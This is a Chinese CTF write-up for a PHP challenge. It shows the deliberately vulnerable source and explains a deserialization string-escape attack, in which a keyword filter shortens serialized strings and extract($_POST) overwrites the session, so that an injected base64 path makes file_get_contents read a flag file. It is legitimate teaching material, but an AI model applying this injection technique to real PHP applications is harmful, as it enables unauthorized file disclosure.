zoukankan      html  css  js  c++  java
  • [安洵杯 2019]easy_serialize_php

    [安洵杯 2019]easy_serialize_php

    看源码

    对源码的一些解释已经注释在源码里了

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){           //这里会过滤这几个字符
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){        //销毁session数组
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';      //创建数组(但是会被覆盖,所以没用)
    $_SESSION['function'] = $function;
    
    extract($_POST);      //解析post上传的参数
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png'); 
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));      //将SESSION数组进行序列化再过滤
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);        //将过滤以后的东西反序列化
        echo file_get_contents(base64_decode($userinfo['img']));    //读取img文件
    }
    

    看了一堆,最终能给我们提供flag的是随后一行的file_get_contents,我们的最终目标是构造一个SESSION数组使得其中是img键对应的值为我们需要的flag。

    首先题目的提示是看一下phpinfo,然后找到了
    在这里插入图片描述
    嗯,第一个目标是读取这个文件。

    反序列化字符逃逸

    首先举个栗子:

    <?php
    $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
    var_dump(unserialize($str));
    ?>
    

    在这里插入图片描述
    很明显,后面的abc被忽略了,因为序列化字符的构造必须符合规定,在;}后就停止解析了。说完这个以后再举个栗子:

    <?php
    $_SESSION["user"]='flagflagflagflagflagflag';
    $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
    $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
    echo serialize($_SESSION);
    ?>
    
    a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
    

    这玩意序列化的结果如上,假设后台存在过滤动作,将flag过滤,则会得到:

    a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
    

    加一个方括号帮助大家理解(方括号不是字符内容):

    a:3:{s:4:"user";s:24:"【";s:8:"function";s:59:"a】";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
    

    将这串字符串进行序列化会得到什么? 这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

    array(3) { 
    ["user"]=> string(24) "";s:8:"function";s:59:"a" 
    ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
    ["dd"]=> string(1) "a" 
    }
    

    数组形式:

    $_SESSION["user"]='";s:8:"function";s:59:"a';
    $_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
    $_SESSION["dd"]='a';
    

    实现逃逸

    get传参:?f=show_function
    下面描述如何构造post内容。

    首先,假设我们不传post参数,那么SESSION数组将会这样:

    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    $_SESSION['img'] = base64_encode('guest_img.png'); 
    
    ==>
    
    array(3) { 
    ["user"]=> string(24) "guest"
    ["function"]=> string(14) "highlight_file" 
    ["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" 
    }
    
    ==>
    
    a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
    

    然鹅我们想把后面的img给忽略掉,那就势必要构造一个新的img并把后面注释(用;})掉。
    所以我们就要post上传一个SESSION数组。

    而上传SESSION数组后,经过extract函数的解析后将替换原来的SESSION数组,那么直接忽略前面两个键值对。比如我们上传一个

    _SESSION['flag']=123
    

    上传以后的数组:

    $_SESSION['flag']="123";
    $_SESSION['img'] = base64_encode('guest_img.png'); 
    
    ==>
    array(2) { 
    ["flag"]=> string(3) "123" 
    ["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" 
    }
    
    ==>
    a:2:{s:4:"flag";i:123;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
    

    我们需要在img前面插入s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    构成:
    在这里插入图片描述
    (先确定大概方向,然后细节处微调)
    那也就是说,黄背景处文字应该为我们上传的参数:
    在这里插入图片描述
    这一块长度为45
    于是改为:
    在这里插入图片描述
    在看下面的图,因为青色部分被过滤而空出来了,所以红色部分会被第一部分吃掉,形成:s:4:"";s:45:"
    在这里插入图片描述
    红色部分有7个字符,所以前面还需要加三个,放php正合适。再将黄背景部分补充一下:
    在这里插入图片描述
    搞定,而红色之后的部分就是我们需要输入的部分(引号不是):
    在这里插入图片描述
    在这里插入图片描述
    在源码页:
    在这里插入图片描述
    /d0g3_fllllllagbase64加密后的结果是L2QwZzNfZmxsbGxsbGFn,还是20位,所以还是原来的payload打上去,就是base64那边换一下就行。
    在这里插入图片描述

    参考链接

  • 相关阅读:
    [原创]可动态显示圆形图像或圆形文字的AvatarImageView
    [原创]自定义view之:快速开发一款Material Design风格的dialog的开源项目MDDialog
    [原创]自定义BaseAcitivity的实现,统一activity的UI风格样式
    [原创]android自定义动画的一点感悟
    [原创]Java中的字符串比较,按照使用习惯进行比较
    [原创]android使用代码生成LayerDrawable的方法和注意事项
    [原创]android开源项目源码解析(一)----CircleImageView的源码解析
    [原创]自定义公历农历日期选择器
    自定义android RadioButton View,添加较为灵活的布局处理方式
    实现仿知乎的开场动画,图片zoomin的效果,实现原理,没加动效
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13972015.html
Copyright © 2011-2022 走看看